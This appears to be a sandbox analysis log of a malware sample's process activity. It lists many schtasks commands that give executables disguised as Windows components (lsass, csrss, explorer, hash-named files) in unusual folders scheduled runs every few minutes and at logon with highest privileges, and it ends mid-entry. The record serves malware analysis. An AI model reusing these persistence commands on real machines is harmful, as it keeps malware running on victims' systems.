    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1880 /prefetch:1
    3⤵
    PID:1676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=5356 /prefetch:2
    3⤵
    PID:3328
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5372 /prefetch:2
    3⤵
    PID:4024
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5356 /prefetch:2
    3⤵
    PID:6112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=2168 /prefetch:2
    3⤵
    PID:5500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4340 -ip 4340
1⤵
PID:5216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 13 /tr "'C:\Windows\Performance\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 5 /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Windows\Performance\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Documents\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Windows\Performance\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 11 /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5212

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5796

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x338 0x4b8
1⤵
PID:1240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Users\All Users\Documents\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Pictures\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\Public\Pictures\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\Documents\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 11 /tr "'C:\Windows\Globalization\services.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Users\Public\Pictures\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Windows\Globalization\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6448

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 10 /tr "'C:\Windows\tracing\TextInputHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\Windows\Registration\CRMLog\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Windows\Globalization\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Windows\tracing\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Documents\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
PID:7032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 6 /tr "'C:\Windows\tracing\TextInputHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\Registration\CRMLog\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\All Users\Documents\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6288

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 5 /tr "'C:\Program Files\Java\smss.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3336

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\Documents\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 8 /tr "'C:\Windows\Registration\CRMLog\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\Java\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 6 /tr "'C:\Program Files\Java\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Program Files\Java\jre-1.8\legal\javafx\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft\Edge\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft\Edge\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6864

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Setup Files\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3872

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Photo Viewer\ja-JP\upfc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Microsoft\Edge\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files\Java\jre-1.8\legal\javafx\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\ja-JP\upfc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6324

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\csrss.exe'" /rl HIGHEST /f
1⤵
PID:7036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Photo Viewer\ja-JP\upfc.exe'" /rl HIGHEST /f
1⤵
PID:7032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Program Files\Java\jre-1.8\legal\javafx\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\Windows\addins\wininit.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\addins\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\Windows\addins\wininit.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /f
1⤵
PID:6880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 12 /tr "'C:\Program Files\Windows Defender\de-DE\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\conhost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5284

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\de-DE\SearchApp.exe'" /rl HIGHEST /f
1⤵
PID:2004

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Defender\de-DE\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Windows\Registration\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:7048

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "5e710462c65fe899466e4fb7c1e33c9a5" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\5e710462c65fe899466e4fb7c1e33c9a.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\Registration\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\sysmon.exe'" /f
1⤵
PID:6992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 9 /tr "'C:\Windows\ShellExperiences\57ccb6f0bd910fed428761828ae93553.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:64

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Windows\Registration\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Windows\Installer\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7196

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\sysmon.exe'" /rl HIGHEST /f
1⤵
PID:7252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\sysmon.exe'" /rl HIGHEST /f
1⤵
PID:7312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Windows\Installer\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Windows\ShellExperiences\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:8012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 14 /tr "'C:\Windows\ShellExperiences\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
1⤵
PID:8152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\explorer.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:8176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Windows\Installer\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\explorer.exe'" /rl HIGHEST /f
1⤵
PID:6800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 11 /tr "'C:\Users\Public\AccountPictures\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 5 /tr "'C:\Windows\PrintDialog\Assets\backgroundTaskHost.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\explorer.exe'" /rl HIGHEST /f
1⤵
PID:880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\lsass.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:7988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\lsass.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:4120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6828

C:\Windows\SysWOW64\systray.exe
"C:\Windows\SysWOW64\systray.exe"
1⤵
PID:5728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Windows\PrintDialog\Assets\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
PID:1680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\lsass.exe'" /rl HIGHEST /f
1⤵
PID:3336

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Windows\PrintDialog\Assets\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
PID:4312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\RuntimeBroker.exe'" /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:1624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 14 /tr "'C:\Users\Public\AccountPictures\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:5816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\microsoft.system.package.metadata\Autogen\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6508

C:\Windows\system32\schtasks.exe
